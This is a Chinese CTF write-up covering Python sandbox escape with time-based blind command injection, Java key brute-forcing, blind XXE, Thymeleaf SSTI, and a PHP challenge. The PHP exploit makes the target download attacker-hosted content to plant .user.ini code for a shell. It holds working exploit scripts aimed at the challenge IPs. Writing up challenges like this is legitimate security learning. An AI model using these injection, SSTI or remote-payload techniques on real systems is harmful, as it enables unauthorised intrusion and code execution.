赛后提交的 WriteUp,凑合看吧。

有部分题目存在改题的情况,演示时可能会按照原先题目的方法来操作。

0x01、 MISC

a) PyBox

       知识点:沙箱逃逸、时间盲注

1.       先连上,似乎是个 Python 的 cli。但屏蔽了蛮多东西。

2.       测一下,找出能用的命令。

3.       把 搞flask ssti 那一套理论拿出来试试。

4.       难受,os 被屏蔽了,得想想如何绕过。

5.       试到下面的,用闭包抽出来外部参数的变量 (Python3 所以 func_closure 和 __closure__ 都可以使) 来引用 os 模块,再调用 system,因为 system 和 os 被屏蔽了,需要用加号连接起来绕过屏蔽。测试执行 sleep 5 成功了。

6.       根据题面里的提示,cut,flag,sleep,组合命令,在本地尝试读取一个文件试试。

-b 可以逐位读取。

这样可以创造布尔条件,搞盲注。

7.       最终 exp 如下。

from pwn import *

context.log_level = "debug"

sh = remote("47.112.108.17",12312, timeout=300)

sh.recvuntil(">>>")

result = ""

for i in range(1, 46):

       for j in range(31, 255):

              sendtime = time.time()

              sh.sendline("__import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('a=`cut -b " + str(i) + " /home/flag`; [ $a = \"" + chr(j) + "\" ] && sleep 3 ')")

              sh.recvuntil(">>>")

              recvtime = time.time()

              if recvtime - sendtime > 2:

                     print("get!")

                     result += chr(j)

                     print(result)

                     break

       if j == 254:

              print(str(i) + " unknown!")

              break

print(result)

8.       跑一下,flag 就出来了。

b) Catch fun

     提示是机型,一搜就出来了,Reno.

0x02、 Mobile

a)  Mblockchain

知识点:Java 逆向

1、先把 apk 下下来,然后 dex2jar 把 dex 反编译为 jar.

2、然后 jd-gui 打开看看,先看 MainActivity,可以看到把输入都交到 FlagChecker 的方法里去处理了。

3、然后看到 FlagChecker,这里是先对第一个参数做了一次 md5,然后从前中后分别取三位再做 md5。然后利用这个作为密钥给第二个参数做aes加密,做十轮,每一轮的密钥需要再做一次md5。

这里有个很关键的地方,那就是初始密钥是从一个字符串 md5 后的结果里取三位来的,那么我们只需要爆破这三位就可以搞到和原 key 等价的东西了。

4、明白了这些就好办了,java 的事情丢到 java 来处理,写个程序来爆破一下。

/**

 * @author: jinzhao

 * @date:2019-08-24

 * @description:

 */

public class Main {

    public static void main(String argv[]) {

        for(int i = -128; i < 128; i++) {

            for(int j = -128; j < 128; j++) {

                for(int k = -128; k < 128; k++) {

                    try {

                        if(FlagChecker.checkFlag(new byte[]{(byte) i, (byte) j, (byte) k})) {

                            System.out.println(FlagChecker.checkFlagWithPlain(new byte[]{(byte) i, (byte) j, (byte) k}));

                            System.exit(0);

                        }

                    } catch (Exception e) {

                        e.printStackTrace();

                    }

                }

            }

            System.out.println("i = " + i);

        }

        //try {

        //    String c = FlagChecker.encryptFlag(new byte[]{-121, -127, -127}, "flag{me}".getBytes());

        //    System.out.println(c);

        //

        //    System.out.println(FlagChecker.decryptFlag(new byte[]{-121, -127, -127}, FlagChecker.hexStringToByte(c)));

        //} catch (Exception e) {

        //    e.printStackTrace();

        //}

    }

}
/**

 * @author: jinzhao

 * @date:2019-08-24

 * @description:

 */

import java.io.ByteArrayOutputStream;

import java.io.OutputStream;

import java.security.Key;

import java.security.MessageDigest;

import javax.crypto.Cipher;

import javax.crypto.CipherOutputStream;

import javax.crypto.spec.SecretKeySpec;

class FlagChecker

{

    public static String encryptFlag(byte[] paramString1, byte[] paramString2)

            throws Exception

    {

        byte[] p1 = hash(paramString1);

        byte[] p2 = paramString2;

        int i = 0;

        while (i < 10)

        {

            p2 = encrypt(p2, p1);

            p1 = hash(p1);

            i += 1;

        }

        return toHex(p2);

    }

    public static String decryptFlag(byte[] paramString1, byte[] paramString2)

            throws Exception

    {

        byte[] p1 = hash(paramString1);

        byte[] p2 = paramString2;

        int i = 1;

        byte[][] keys = new byte[10][];

        keys[9] = p1;

        while(i < 10) {

            p1 = hash(p1);

            i += 1;

            keys[10 - i] = p1;

        }

        i = 0;

        while (i < 10)

        {

            p2 = decrypt(p2, keys[i]);

            i += 1;

        }

        return new String(p2);

    }

    public static boolean checkFlag(byte[] paramString1)

            throws Exception

    {

        //byte[] p1 = hash(paramString1);

        byte[] p2 = FlagChecker.hexStringToByte("74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5");

        //int i = 0;

        //while (i < 10)

        //{

        //    p2 = decrypt(p2, p1);

        //    p1 = hash(p1);

        //    i += 1;

        //}

        return decryptFlag(paramString1, p2).startsWith("flag");

    }

    public static String checkFlagWithPlain(byte[] paramString1)

            throws Exception

    {

        //byte[] p1 = hash(paramString1);

        byte[] p2 = FlagChecker.hexStringToByte("74f0b165db8a628716b53a9d4f6405980db2f833afa1ed5eeb4304c5220bdc0b541f857a7348074b2a7775d691e71b490402621e8a53bad4cf7ad4fcc15f20a8066e087fc1b2ffb21c27463b5737e34738a6244e1630d8fa1bf4f38b7e71d707425c8225f240f4bd2b03d6c2471e900b75154eb6f9dfbdf5a4eca9de5163f9b3ee82959f166924e8ad5f1d744c51416a1db89638bb4d1411aa1b1307d88c1fb5");

        //int i = 0;

        //while (i < 10)

        //{

        //    p2 = decrypt(p2, p1);

        //    p1 = hash(p1);

        //    i += 1;

        //}

        return decryptFlag(paramString1, p2);

    }

    public static byte[] encrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)

            throws Exception

    {

        Object localObject = new SecretKeySpec(paramArrayOfByte2, "AES");

        Cipher p2 = Cipher.getInstance("AES/ECB/PKCS5Padding");

        p2.init(Cipher.ENCRYPT_MODE, (Key)localObject);

        localObject = new ByteArrayOutputStream();

        CipherOutputStream p3 = new CipherOutputStream((OutputStream) localObject, p2);

        p3.write(paramArrayOfByte1);

        p3.flush();

        p3.close();

        return ((ByteArrayOutputStream)localObject).toByteArray();

    }

    public static byte[] decrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2)

            throws Exception

    {

        Object localObject = new SecretKeySpec(paramArrayOfByte2, "AES");

        Cipher p2 = Cipher.getInstance("AES/ECB/PKCS5Padding");

        p2.init(Cipher.DECRYPT_MODE, (Key)localObject);

        localObject = new ByteArrayOutputStream();

        CipherOutputStream p3 = new CipherOutputStream((OutputStream) localObject, p2);

        p3.write(paramArrayOfByte1);

        p3.flush();

        p3.close();

        return ((ByteArrayOutputStream)localObject).toByteArray();

    }

    public static byte[] hash(byte[] paramArrayOfByte)

            throws Exception

    {

        MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");

        localMessageDigest.update(paramArrayOfByte);

        return localMessageDigest.digest();

    }

    public static String toHex(byte[] paramArrayOfByte)

    {

        StringBuilder localStringBuilder = new StringBuilder();

        int i = 0;

        while (i < paramArrayOfByte.length)

        {

            String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);

            if (str.length() == 1) {

                localStringBuilder.append('0');

            }

            localStringBuilder.append(str);

            i += 1;

        }

        return localStringBuilder.toString();

    }

    public static byte[] hexStringToByte(String paramString) {

        int j = paramString.length();

        byte[] arrayOfByte = new byte[j / 2];

        int i = 0;

        while (i < j) {

            arrayOfByte[(i / 2)] = ((byte) ((Character.digit(paramString.charAt(i), 16) << 4) + Character.digit(paramString.charAt(i + 1), 16)));

            i += 2;

        }

        return arrayOfByte;

    }

}

这里有个坑,解密是反向操作,所以密钥要先算出来然后存上,轮次迭代的时候反着用。当然我这里先反向存然后解密时候直接用了。

5、然后运行一下 flag就出来了。

0x03、 Web

a) LookAround

知识点:Blind XXE

1、打开靶机,是这么一个页面。

2、看下源码,有个这个定时器,每 10 秒发个 xml 请求。

3、说到 xml,那就是 xxe 了。测一下这个接口,无回显。

4、然后再测了下,屏蔽了外网访问,就考虑来利用本地的 DTD 玩 XXE 了。搜到了这篇东西。

https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation

5、然后题目提示了镜像名,下个同名镜像,创建个容器,找一下有啥 dtd。

6、哟,有个文件正好上面那个文章里有,拿直接用了。

7、Flag 到手~

b) Render

知识点:SSTI

1、打开靶机,是这么个页面。

2、看下源码,有这么个请求。

似乎是把我们发出去的东西再发回来。

3、随意输个 url,发现错误页面是 Spring boot 的。

4、那就照着spring boot 的 ssti 方向来 fuzz。

5、 想到 Spring boot 常用的那几把梭,拿 Thymeleaf 的试试。测试到 [[${1+1}]]的时候返回了 2,说明是 Thymeleaf 渲染了。Thymeleaf 能拿两个中括号来取表达式的值。

6、然后就是常规操作,读文件一把梭了。参考这里 https://dotblogs.com.tw/cylcode/2018/09/21/170510,这个可以缩到一行里。

7、Flag 到手~

c)  Enjoy You Self

知识点:代码审计,PHP 特性

此题存在线上改题情况。

1、打开靶机,是这样一个页面。

2、既然给了源码就来看看源码吧。

这里先检查了 filename 是不是八位 大小写字母或者数字或者下划线。是的话就创建一个这个名字的文件。然后再列文件,删除列出的第一个文件。这里有个有意思的地方,这个目录下面要是存在其他文件,那列出来的就是那个文件,我们的文件就不会被删了,就此那就可以推测出那个文件的文件名了。

3、我们在本地做个实验,来展示一下我们要删除的文件。

4、然后在 backup 下创建一个文件,就叫 abcdabcd  吧。

5、然后访问试试 /?filename=abcdabcd。

6、这个文件被删了,但程序创建的abcdabcd.txt  还存在。

7、在这个基础上写个脚本,来玩玩人肉二分法吧。

import requests

filename = "zzzzzzzz"

while True:

    print(requests.get("http://47.107.255.20:18088/users/977acc6365a9bc4f1c56accf1331a3bb/",

                       params={"filename": filename}).text)

    r = requests.get("http://47.107.255.20:18088/users/ 977acc6365a9bc4f1c56accf1331a3bb/backup/" + filename + ".txt")

    print(r.status_code)

    if r.status_code != 404:

        print(filename)

        exit(0)

从可用字符的最后一位开始。测了下服务器似乎是有定时重置还是啥的。所以需要多次尝试,有一次 200 就说明那个文件的字典序在前面了。

azzzzzzz 200,说明文件还在前面。

_zzzzzzzz 404, 说明第一位是 a 了,_ 到 a 在 ascii 表里没有在此可以使用的字符了。

aazzzzzz  404, 说明跑到文件之前了。

如此往复,跑出前七位字符 aefebab。

8、 最后一位需要特殊处理。顺序跑一下。跑到 9 的时候 200 了。

9、那就说明文件名是 aefebab8 了。打开看看,果然有东西。

10、套娃题了,那继续看吧。这个文件是个下载器,可以把远程服务器的东西下载到这个服务器上。那我们搭个恶意的服务器伪造下返回试试,这里测了很久,那时候得到下面这种方法可行。在自己服务器上创建一个文件,然后把所有访问都重写到这个文件。

11、这里就是题目之后修改的地方了,那时候这样就可以直接下载一个文件到 /uploads/glzjin/index.php,就可以直接 GetShell 了。

12、既然改题了,看看改题之后怎么做。尝试利用 .user.ini 来追加代码。

先这样下载一个文件到 glzjin/glzjin.txt.

13、然后再修改成这样,可以写到 /users/.user.ini.

14、这里动作要快,要不然会被清理。所以我写了个脚本来玩,.user.ini 会对子文件夹生效,而每个用户单独的文件夹下面有我们之前第一关的 PHP,可以用上。

import requests

while True:

    print(requests.get("http://47.107.255.20:18088/src/8a66c58a168c9dc0fb622365cbe340fc.php?method=download&url=http://172.247.76.60:8302/.png").text)

    r = requests.post("http://47.107.255.20:18088/users/977acc6365a9bc4f1c56accf1331a3bb/", data={"glzjin": "phpinfo();"})

    print(r.status_code)

    if r.status_code != 404:

        print(r.text)

        exit(0)

15、改下执行的语句,就可以读到 Flag 了。

16、Flag 到手~

d)  Easy Realworld Challenge

知识点:人肉 FTP

说明:这题由于题目没清理 logviewer,所以那天晚上做完上面这个题之后看了下,看到了有其他队伍还是出题人之类的尝试连了下 ftp,但也没拿到 flag- -。从此得到启发,知道内网有个 FTP。

1、打开,是这样一个页面。

2、似乎是个终端,连接一手之前在 logviewer 里看到的那个内网地址的 ftp 试试。

弱密码,直接登。

3、 进被动模式,方便连接。

4、计算一下端口。

5、另外开一个终端,连上这个端口。

6、回到第一个终端,输入 LIST,再回到这个终端,看到没列出东西。

第一个终端:

第二个终端:

7、那就切换一下目录,在根目录下 list 试试。

第一终端:

第二终端:

8、 啊哈,看到 flag 了,来读下试试。

第一终端:

第二终端:

9、 Flag 到手~

e)  Easy Realworld Challenge 2

知识点:RCE 点找寻。

和上题一样的靶机地址,但这题需要把这台机器 GetShell。

1、研究这个程序的源码,发现其在这里有执行命令。

https://github.com/liftoff/GateOne/blob/master/gateone/applications/terminal/plugins/ssh/ssh.py#L586

而且更可怕的是,他对输入的参数没有过滤。

2、然后我们来看看怎么触发这个方法。看来得走 websocket 那里了。

3、抓包研究一下客户端和服务端的通信和触发机制,看到在ssh 连接发起之后会获取一下当前连接目标的 ssh 指纹,也就触发这个命令了。所以我们就可以在这个时候从客户端发出一个恶意消息,服务端解析之后直接格式化到命令里就可以 RCE 了。

4、至于怎么发消息,继续看一下源码,可以看到这里是 GateOne 来 hold 了 websocket的。

5、 然后在客户端尝试发一条消息看看。可以发,但需要 json 格式,和我们之前抓包抓到的东西一样。

6、 然后来尝试伪造一下获取指纹的那个消息看看。可以看到返回的错误信息里带上了我们的命令执行结果了。

7、那就不客气,来读读那个 flag 文件了。

8、 Flag 到手~